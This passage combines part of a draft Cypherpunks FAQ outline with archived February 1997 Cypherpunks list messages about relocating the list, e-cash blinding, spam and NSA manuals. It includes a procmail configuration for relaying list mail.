     (premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
     explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
     work.  sci.crypt faq
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
     Schneir's essay.  Use your brain.

Section 3 - Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
     good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 - Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
     bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (got to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
[Others?  I'm getting sleepy, names escaping me at the moment]

Section 5 - Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
     into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
     [Possibly include generic examples from own experience and list 
     user's experience who wish to contribute.  Specific names will 
     be ommitted of course.  Also score information for those 
     interested]
Q5.4 point to information on other utilities and verification-type
     schemes [NoCeM's]

Section 6 - Personal motivations, thank-you's, etc.  

*********----------**********----------**********---------*********----
Section 1.  Introduction and General Information

Q1.1 Do the Cypherpunks have an official charter?

No.  Cypherpunks are anarchic in nature so the notion of an official
charter is directly contrary to such ideals.  

The two statements below are from Original Cypherpunks (OC's) Eric
Hughes and Tim May.  The first was part of the original welcome
message to the mailing list hosted at toad.com.  The second was
suggested by Tim to the original list and commented upon by the
readership.  Both statements are accepted by much of the readership as
good indicators of what Cypherpunks are about.

Eric Hughes' statement:
 "Cypherpunks assume privacy is a good thing and wish there were more
  of it.  Cypherpunks acknowledge that those who want privacy must
  create it for themselves and not expect governments, corporations, or
  other large, faceless organizations to grant them privacy out of
  beneficence.  Cypherpunks know that people have been creating their
  own privacy for centuries with whispers, envelopes, closed doors, and
  couriers.  Cypherpunks do not seek to prevent other people from
  speaking about their experiences or their opinions.

  The most important means to the defense of privacy is encryption. To
  encrypt is to indicate the desire for privacy.  But to encrypt with
  weak cryptography is to indicate not too much desire for privacy.
  Cypherpunks hope that all people desiring privacy will learn how best
  to defend it.

  Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
  to learn about it, to teach it, to implement it, and to make more of
  it.  Cypherpunks know that cryptographic protocols make social
  structures.  Cypherpunks know how to attack a system and how to
  defend it.  Cypherpunks know just how hard it is to make good
  cryptosystems.

  Cypherpunks love to practice.  They love to play with public key
  cryptography.  They love to play with anonymous and pseudonymous mail
  forwarding and delivery.  They love to play with DC-nets.  They love
  to play with secure communications of all kinds.

  Cypherpunks write code.  They know that someone has to write code to
  defend privacy, and since it's their privacy, they're going to write
  it.  Cypherpunks publish their code so that their fellow Cypherpunks
  may practice and play with it.  Cypherpunks realize that security is
  not built in a day and are patient with incremental progress.

  Cypherpunks don't care if you don't like the software they write. 
  Cypherpunks know that software can't be destroyed.  Cypherpunks know
  that a widely dispersed system can't be shut down.

  Cypherpunks will make the networks safe for privacy."

Tim May's statement:
 "Alt.cypherpunks is for the unmoderated discussion of cryptography
  and the political, social, and economic implications of
  unrestricted, strong cryptography. The Cypherpunks grpup has existed
  since 1992 and has been central in the debate about strong crypto,
  government restrictions, crypto anarchy, and in showing weaknesses
  of various ciphers and security products. The mailing list has had
  as many as 1500 subscribers, plus gateways to newsgroups and Web
  sites. It is expected that 'alt.cypherpunks' will be a free-wheeling
  forum for many viewpoints. As it is unmoderated, readers are
  strongly advised to learn how to use filters and other tools for
  making virtual anarchies manageable for their own tastes."


Q1.2 How did the group get started?

Needless to say, the history of such things is fuzzy at best.  

Eric Hughes and Tim May had some discussions which led to Eric Hughes,
decision to host a meeting.  Concidently, the first meeting occurred the
same week PGP 2.0 was released.  John Gilmore offered his site to host a
mailing list, and thus Cypherpunks were born.  see Q1.2, Q1.4, and Q1.6
for references containing more detail.

also see: [Wired article URL]
           
Q1.3 What do Cypherpunks want?

Such a simple question with no simple, short answer.  Please explore
the following sites.

Tim May's provacative (and large!) Cyphernomicon
 http://www.oberlin.edu/~brchkind/cyphernomicon/

The Berkeley Cypherpunks site is another good starting point.
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html

Also see: 
http://www.offshore.com.ai/security/ - Vince Cate's
Cryptorebel/Cypherpunk Page 

http://www.eskimo.com/~joelm/ - Joel McNamara's Electronic Privacy
Page

Q1.4 What happened to the toad.com mailing list?  Are there archives?

As with all Cypherpunks issues, there is much controversy surrounding
the dissolution of the original list hosted by John Gilmore's machine
@toad.com.  Some say that noise devoured the list to such a point as to
make it useless, driving away the "good posters".  Others argue that
the failed attempt at moderating the list to eliminate some of that
noise was the final nail in the coffin.

Whatever the reason, Gilmore told the Cypherpunks that it was time to
find a new home.  Running a mailing list with 1500+ subscription base
and the enormous volume that the list had is not a simple task.  The
physical running of the list on a single machine requires enormous
computational resources as well as constant human intervention.

Perhaps the resultant newsgroup and distributed mailing list approach
is more in line with Cypherpunk ideals.  "Cypherpunks know that a
widely dispersed system cannot be shut down."

Archives of the original list are available to some degree at:
http://infinity.nus.sg/cypherpunks/
http://weber.u.washington.edu/~phantom/cpunk/index.html

Users interested in running a "node" of the distributed mailing list
version of this newsgroup are encouraged to subscribe to Igor Chudov's
discussion list on the subject.  Send a message to majordomo@algebra.com
with the body "subscribe cypherpunks-hosts"

Q1.5 Are there other groups besides Cypherpunks who share these goals?

The following organizations and sites share Cypherpunk goals to a
greater or lesser extent.

The EFF(Electronic Frontier Foundation) http://eff.org
http://eff.org/pub/ITAR_export/HTML/hot.html &
http://www.eff.org/pub/Privacy/hot.html - more specific references &
extensive archival information

EPIC (Electronic Privacy Information Center)
http://epic.org

Voter's Telecommunications Watch
http://www.vtw.org

Center for Democracy and Technology 
http://www.cdt.org

The Cryptography List at C2Net is also a good resource.
send a message to Majordomo@c2.net with the body "subscribe
Cryptography"

The Coderpunks list at toad.com is a technical discussion forum.
Send a message to majordomo@toad.com with the body "subscribe
coderpunks"

Q1.6 What have the Cypherpunks done to advance their goals other that
merely talk about them?

Many Cypherpunks are professionals in the computer security field.
Others work for companies and corporations which create and distribute
products utilizing strong cryptography.

Cypherpunks are also directly responsible for the creation and running
of Type I and Type II(mixmaster) Cypherpunks anonymous remailers
(surprising, eh?).  see Q2.5

Cypherpunks have also produced software to make good crypto easier for
the masses. [Get permission from PGP-front end producers to reference here]

The Linux-IPSEC project is another good example. [see & subscribe ref?].

Mykotronx exposure and dumpster diving excursion. [reference?]

see Q1.4(list-archive sites)

Q1.7 I'm interested, what can I do?  

First of all READ before you post.  Observe simple etiquette.  Don't
clutter the group with "me too" posts and questions which you can
easily find the answer to yourself.  Contribute signal, not noise.

As of this writing, RSA, inc. is hosting a contest to crack the
government standard DES 56 bit algorhythm.  See
[http://www.rsa.com/contest] for full details.

Also see Peter Trei's site for software and info.

Host a portion of the distributed mailing list.  See Q1.5.

Run an anonymous or pseudonymous remailer. see Q1.6 for site references
and software.

Use strong crypto.  Encourage friends to use it as well.  Increase the
amount of encrypted traffic on the net.

Can you code?  There are plenty of projects and opportunites yet to be
explored.  Black Unicorn writes:
 "Where is highly sophisticated stego?
  Where are larger keys for symetric ciphers?
  Where is a fully functional and secure "stealth PGP"?
  Where are anonymous and encrypted WWW clients and hosts which permit
  chaining?

  If the crypto war is going to be lost it will be lost in the chill of
  development when crypto regulation is put into place.

  If you don't make the guns in the first place, the government has a much
  easier time taking them away."


Q1.8 What are all these terms and acronyms anyway?

Here's a quick-n-dirty glossary.

GAK = Government access to keys.  Government euphemisms for GAK include
"key escrow" and "key recovery" (actually important for corporations,
but misused in recent USG proposals)

USG = United States Government

ITAR = International Trade and Arms Regulations.  Regulations export of
arms from the US.  Strong Crypto is regulated as a weapon by this
document. see Q3.2

EAR = Encryption Algorhythm Regulations (a guess, look it up)  Recent
proposals by Clinton Administration.  see Q3.2

TLA = Three Letter Acronym/Agency.  Refers to USG agencies (typically
involved in law enforcement) FBI, CIA, NSA, etc.

NSA = National Security Agency.  This highly secretive agency is
responsible for the protection of USG secrecy via encryption as well as
the spying on other governments by breaking encryption algorhythms.
see Q4.8

DES = US Data Encryption Standard algorhythm. see Q2.9

RSA = a company and a public key algorhythm.  see Q2.9  and Q2.3

net.loon/kook = a purely subjective characterization.

Signal-to-Noise ratio = Signal refers to on-topic posts.  Noise, the
opposite.  A high S/N ratio means the list is putting out a lot of
signal("good posts").  Subjective, but fairly obvious.  See Section 5
for pointers no how to reduce (what you think is) noise

Memes = [get a good definition here]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        [Rest of FAQ goes here :)   This is a pre-alpha FAQ, intended
         only to solicit commentary and suggestions.]

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tobin Fricke <tobin@edm.net>
Date: Wed, 12 Feb 1997 18:56:17 -0800 (PST)
To: Moroni <gen2600@aracnet.com>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702130256.SAA18277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>        1-800-688-6115 press 0 or just wait for the operator. My second
> order consisting of posters and video has not arrived either. It has been
> about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> you order the Rainbow series you will be getting a large box.Their are
> something like 30+ booklets in the series.
>         There is a set of security posters  that include a Santa
> poster.And there is also a video with two films on it (Acess Ins and outs
> adb Acess Control).

How much does all this stuff from the NSA cost?

Tobin Fricke
(please reply privately, tobin@mail.edm.net)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Feb 1997 15:26:49 -0800 (PST)
To: "Jonathan M. Bresler" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Need a good bi-directional mail-news gateway
Message-ID: <199702122326.PAA08688@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:18 pm -0500 2/12/97, Jonathan M. Bresler <jmb@frb.gov> wrote:
                                                   ^^^^^^^
>	your expected mail volume is 100,000+ messages a day?
>
>	i run lists that do 200,000+ routinely.
>	recent peak of 350,000 messages
>
>	does that meet your needs?

Great.

Let's run cypherpunks with a government subsidy.

;-).

Pulling your leg, just a bit..

Cheers,
Bob Hettinga

"So much for a geodesic monitary system..."


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 12 Feb 1997 15:12:45 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702122312.PAA08308@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


    maybe relief is in sight; can we spell excedrin?

on or about 970211:1433 educom@elanor.oit.unc.edu said:

+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL

+A U.S. district court in Ohio has granted CompuServe's request for a
+preliminary injunction barring Cyber Promotions Inc. from sending
+unsolicited e-mail to its subscribers while the commercial provider
+pursues its lawsuit against Cyber Promotions.  The injunction was
+granted after Cyber Promotions foiled CompuServe's initial attempts to
+block its messages by falsifying the point-of-origin information on
+its e-mail messages and by configuring its network servers to conceal
+its actual Internet domain name. "To the extent that defendant's
+multitudinous electronic mailings demand the disk space and drain the
+processing power of plaintiff's computer equipment, those resources
+are not available to CompuServe subscribers," the court reasoned.  In
+addition, because many subscribers had complained to CompuServe about
+the mailings, the court found that Cyber Promotions' intrusions
+constituted "harm" as well as trespassing under common tort law. The
+court found that the "plaintiff is not a government agency or a state
+actor which seeks to preempt defendants' ability to communicate but is
+instead a private actor trying to tailor the nuances of its service to
+provide maximum utility to its customers."  (BNA Daily Report for
+Executives 7 Feb 97)
 ___________________________________________________________attila_____
   "The only difference between me and a madman
    is that I am not mad." 
        --Salvador Dali ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 16:12:17 -0800 (PST)
To: ravage@einstein.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702130012.QAA09625@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@einstein.ssz.com"  "Jim Choate" 12-FEB-1997 18:43:56.23

> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

>> 	Umm... because you'll eventually accumulate _lots_ of addresses
>> that don't work, which will slow things down tremendously in sending
>> mail out?

>The current subscription is between 1,000 and 2,000 I don't think that is
>_lots_. All we need to do is count the number of bounces per address in
>a given period, the SSZ end is trying to decide between weekly or
>monthly cleanings, and then clear that address. At no point would I need
>to archive the original bounce.

	Someone with more experience correct me if I'm wrong (I'm just
starting to learn about mailing list management), but isn't saving
at least the first bounce from a given address good in order to check
what address is the one that's actually bouncing? Admittedly, this only
applies to badly-formed bounces. The rest can just have the address
noted.

>> 	Well, loki@cyberpass.net has made the offer to host the entire
>> list... and Lance is certainly making money at it. While this would have
>> some problems in comparison with the distributed list idea (namely more of
>> a choke point), it would decidedly help.

>I certainly hope they get a cpunks address made available. I will certainly
>subscribe cpunks@ssz so that the distributed remailer will benefit from 
>that input. However, one of the major realizations is that as long as one
>anything is involved in the list it is capable of being shutdown at any
>time with no warning. It also makes it much easier to compromise. I would
>like to see servers in several countries myself.

	Agreed.

>> >Is anyone interested in acting as a mail-to-news gateway?

>Want to volunteer?

	Give me some idea of how much programming knowledge, time, etcetera
is required, please, before I can answer. I'd be renting space on some other
computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
programming language (i.e., beyond Applesoft Basic) that I know anything of
is Perl (and I don't know that all that well); and I am somewhat busy with
other stuff. In other words, it depends.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 17:59:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702130159.RAA13474@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 18:47 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)
> 
> 	Someone with more experience correct me if I'm wrong (I'm just
> starting to learn about mailing list management), but isn't saving
> at least the first bounce from a given address good in order to check
> what address is the one that's actually bouncing? Admittedly, this only
> applies to badly-formed bounces. The rest can just have the address
> noted.

Hmmm, I can see saving the address causing the bounce in some sort of array
that is indexed to the majordomo subscription list for a given remailer. It
would not cost anything but overhead to save the entire message. I guess my
motivation was not that I cared their mailbox was full or it was a invalid
address but that I wouldn't be able to deliver at this time. I just don't
see any reason that it helps me to know why they can't receive mail only that
they can't.

> >Want to volunteer?
> 
> 	Give me some idea of how much programming knowledge, time, etcetera
> is required, please, before I can answer. I'd be renting space on some other
> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
> programming language (i.e., beyond Applesoft Basic) that I know anything of
> is Perl (and I don't know that all that well); and I am somewhat busy with
> other stuff. In other words, it depends.

Hmmm, not shure how much programming it would take - never done it myself.
I think Perl would be an acceptable language. I certainly hope to do the
majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
who knows the fine points of how INN cache's messages. Redbeard and I had a
short discussion about this issue today relating to tracking messages to
reduce mail-loops. I will discuss it with him and see what happens.

I know exactly what you mean. I have two full-time jobs and hadn't really
thought of taking on the cpunks list in any manner. But hey, that is the
spice in life...

Give me a couple of days to look at the situation and if somebody don't beat
me to it I'll post what I find out. Cool?

                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 21:13:35 -0800 (PST)
To: Moroni <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702130513.VAA29427@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 9:53 PM -0500 2/12/97, Moroni wrote:
>       Zip,NAda,Nothing. And they have more too. They were backlogged so
>some people haven't gotten their mail since I last posted about. I called
>yesterday about my videos and posters and lo and behold I received my two
>tech manuals today.
>       The people who answer the lines are friendly and usually pretty
>industrious in getting things out or done.
>       By the way there is supposed to be a department split in the near
>future so I don't know if manuals will be in one department and posters in
>another or what.

By the way, I say "FORGET IT" to the NSA Rainbow manuals. A worthless pile
of crap.

I subscribed to them several years ago, got the Big Box of Manuals, and
then got  new editions every few months for several years. None of them
were ever useful to me in even the slightest way.

They are written in "bureaucratese," so they're not even fun reading.

If they're not on the Web by now it just shows what a sicko government
agency the NSA and NCSA is, and if they _are_ on the Web, you'll see what I
mean quickly enough.

Even for "novelty value" ("Hey, Tim, the mail guy just delivered a package
from the National Security Agency!") the books are worth very little.

Do a tree a favor and just say No to the Rainbow series.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 17:58:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702130158.RAA13462@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 16:22:28 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks"

> I was making the point that _any_ site distributing a list is likely to
> face legal pressures not to carry certain items. Read between the lines (or
> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
> the products of Sandy's company, and legal pressures applied, to see what I
> mean.

This is exactly the reason that my suggestion to anyone setting up a
remailer with any sort of controversial content should do it as some sort of
outreach of their business. It is too expensive in time, money, and hassles
to do for grins and giggles.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 18:00:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702130200.SAA13598@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 00:04:44 +0000
> From: paul@fatmans.demon.co.uk
> Subject: Re: Network of majordomos


> Charter:
> 
> alt.cypherpunks will serve as a discussion forum for the members of 
> the cypherpunks community. The discussion group previously resided on 
> a mailing list run at toad.com but due to a difference of opinion 
> between the majority of active members of the list and the owner of 
> toad.com, John Gilmore, the list must now relocate onto usenet as a 
> temporary measure while further measures are put in place to 
> re-establish a mailing list format. The group has approximately 1500 
> members and has been active online for some 5 years.

I would like to see that 'temporary measure' changed to one means of
distribution and a resource in addition to the remailer chain. I would
really like to see this stay in place.



                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Feb 1997 17:41:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Shameless FC97 Plug: (Was Re: anonymity and e-cash)
Message-ID: <199702130141.RAA12299@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:08 pm -0500 2/12/97, Tim May wrote:

>This "disintermediates" the process, and makes for an "everyone a mint"
>situation, which has some of the same nice properties that an "everyone a
>remailer" ecology of remailers and users has.

And, of course, Ian's going to teach all this fun stuff in Anguilla next week.

;-).

E-mail me, and I'll refresh your memory with a workshop program, or just
click on the FC97 URL in my .sig, below. We have lots of room. Just don't
take American, though American Eagle's okay...

Shamelessly yours,
P. T. Hettinga
Promotional Chairman,
FC97 Workshop, Conference, and Exhibition

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 12 Feb 1997 17:57:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130157.RAA13347@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 12 Feb 1997 janke@unixg.ubc.ca wrote:

> It's not too hard: The payee forwards a blinded, non-signed coin
> to the payer. The payer has the bank sign this, and then returns
> it to the payee who strips out the blinding factor.

This is correct except for the fact that the payer also has to apply a blinding
factor to the coin, thus making it a "double-blinded" coin.  It gets signed by
the bank, the payer divides the coin by the blinding factor and sends it to
the payee, who then strips out his blinding factor.  Ecash coins can also be
laundered making the above scheme mostly unnecessary.  Since most people will
probably not look upon fully anonymous ecash highly, laundering will be a more
popular option as it cannot be prevented.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Wed, 12 Feb 1997 21:13:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New group
Message-ID: <199702130513.VAA29409@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:38 AM 2/12/97 -0800, Dale Thorn <dthorn@gte.net> wrote:
>Paul Bradley wrote:
>> Well despite the obvious problems of propogation I thought it was time
>> someone actually did something to get us a new home, even if it`s only
>> temporary. So I have created alt.cypherpunks... See you all over on
>> usenet!...
>
>I pressed the URL alt.cypherpunks and my Netscape server said
>"no such thing" or words to that effect.

It has to be created on your local server, Dale.

Wait a bit, and if doesn't show up speak to someone st your ISP.


Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 21:12:00 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: subscribe
Message-ID: <199702130512.VAA29302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> 
> 
> Hi Igor,
> 
> > I will not impact me negatively. I do, however, suggest very strongly
> > that hosts should be subscribed to each other thgrough another mechanism
> > and not majordomo, in order to prevent mail loops, header rewriting and such.
> 
> Suggestions? What I had in mind was that any messages that get sent on
> cpunks@ssz.com get sent over to algebra. One mechanism I would like to play
> with is a 'linked list' of remailers. Remailer A sends only to B and
> receives only from C...
> 
> 
>                                A
>                              ^   v
>                              C < B

> Then to stop loops B deletes all outgoing mail from B. Since email can be
> forwarded from many sites the search must traverse the entire forward chain
> killing the message if B appears as a source. I suspect a simple procmail sort
> can accomplish this. My next step is to brush up on my procmail. I hope to
> have something in a couple of days that will allow you to subscribe
> cpunks@algebra to cpunks@ssz and both ends will be filtering.

Here's how I do it (it is pretty close to your proposal): 

1) I delete duplicate messages (by looking up the database of
message-IDs) right away
2) I bounce all incoming messages to several other list servers
3) I pipe the article to majordomo for distribution.

Note that majordomo changes headers and I wuold like to feed
other servers with UNCHANGED articles.

Here's the .procmailrc that takes care of this:

(OTHER_HOSTS will be redefined to include, e.g., cypherpunks@ssz.com)

# Please check if all the paths in PATH are reachable, remove the ones that
# are not.
#
# NOTE: I use lockfiles extensively (and even excessively) because
# I do not want to overburden the system. Since I am on a
# PPP link that is not always on, sometimes large amounts of 
# submissions come in simultaneously and that may impair
# performance of the overall system. You do not REALLY need
# to use these lockfiles otherwise.
###################################################################

PATH=/bin:/usr/bin:/usr/local/bin:$HOME/bin
MAILDIR=$HOME/Mail	# You'd better make sure it exists
DEFAULT=$MAILDIR/mbox
# VERBOSE=ON
LOGFILE=$MAILDIR/from
LOCKFILE=$HOME/.lockmail

OTHER_HOSTS="cypherpunks@zzzz.com"

:0 c
$MAILDIR/allmail

############################################################ mailbombing
############################################################ end mailbombing

:0
* ^TOcypherpunks
* !^X-Loop:
* !FROM_MAILER
* !FROM_DAEMON
{
  #
  # This recipe removes duplicates!
  #
  :0 Wh: msgid.lock
  | formail -D 128000 msgid.cache

  # send it to all other hosts
  :0 c
  !$OTHER_HOSTS

  # add X-Loop:
  :0 fhw
  | formail -I "X-Loop: cypherpunks@algebra.com"

  # send it to people
  :0 c
  | cypherpunks-send-subscribers

  # Accounting, logging
  :0
  | cypherpunks-accounting
}

:0:
* ^TOcypherpunks-request
$DEFAULT

# all the rest is trash
:0
$DEFAULT

# thats where it should be
#/dev/null

> Another nice advantage of this architecture is that 'rings' of remailers can
> be interconnected by simply sending output to more than one site. Might even
> be a good stability rule, "Never have a remailer send to more than 1 machine
> in its 'own' ring". I see no limit other than resources that would limit the
> number of rings an individual remailer might be in.

A very good point.

> The address is 'cypherpunks@ssz.com' but as alluded to above. I would  like
> to let it run 1 way for a day or so to get an idea of the stability of our
> network link. You might consider creating a bogus username on your end.
> Subscribe that user to the SSZ remailer and to your own mail list. Then use
> procmail to filter all outgoing mail of that user since its incoming would
> be from your list and its outgoing would go to mine, which then forwards
> them to your list. We might want to call the bogus user 'gatekeeper'.

Yes, we really should make darn sure that no loops are poissible
before inviting people to subscribe to our lists.

> If its agreeable lets get together on the cpunks-hosts list tomorrow and
> discuss this a little more.
> 
> If you don't mind, please forward this to the cpunks@toad list with your
> responces. I would like to expose it to a little criticism.
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 21:12:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702130512.VAA29374@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

We have established the first link between cypherpunks@ssz.com and
cypherpunks@algebra.com. Testing will continue for about 24 hours and we
hope to have the link going two-way within a couple of days.

If testing proceeds at the current pace we should be ready to go for a 3-way
link if anyone will be ready this weekend. If we can get a 3-way going we
should be ready for prime time.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 13:41:15 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Network of majordomos
Message-ID: <199702122141.NAA05972@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Greg Broiles wrote:
> > > I sent a proposal to alt.config last night and intend to newgroup 
> > > alt.cypherpunks in a week or so
> 
> 
> Greg.
> 
> Don`t bother, I have already drawn up a draft charter and newsgrouped 
> it. Wouldn`t have bothered if I knew you were already on it but I 
> didn`t see your post in alt.config...
> 
> Seeya there...

What was your chater?  Could you Cc a copy to the list?

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 12 Feb 1997 22:29:43 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702130629.WAA04666@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:

>Having said this, the flaw remains that "junk mail" is "free" to the
>sender. This is a flaw in the ontology of e-mail, and needs to be fixed.
>Digital postage is one approach.

I decided long ago (okay, well, many months ago) that the "solution" is to 
invent a mechanism to allow spammers/advertisers to include a small amount 
of ecash as a gift with every spam.  I figure that if USnail junk-mailers 
are willing to pay $0.32 for postage and probably $0.50 for production, 
printing, and labelling costs, all for no guarantees of results, they should 
even more happy to pay, say, 10 cents to each recipient.  At that rate, an average 
person would probably receive enough "spam" to  pay for his Internet 
account, quite analogous to the way advertiser-supported TV is presented to 
the public for no explicit charge.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 21:11:26 -0800 (PST)
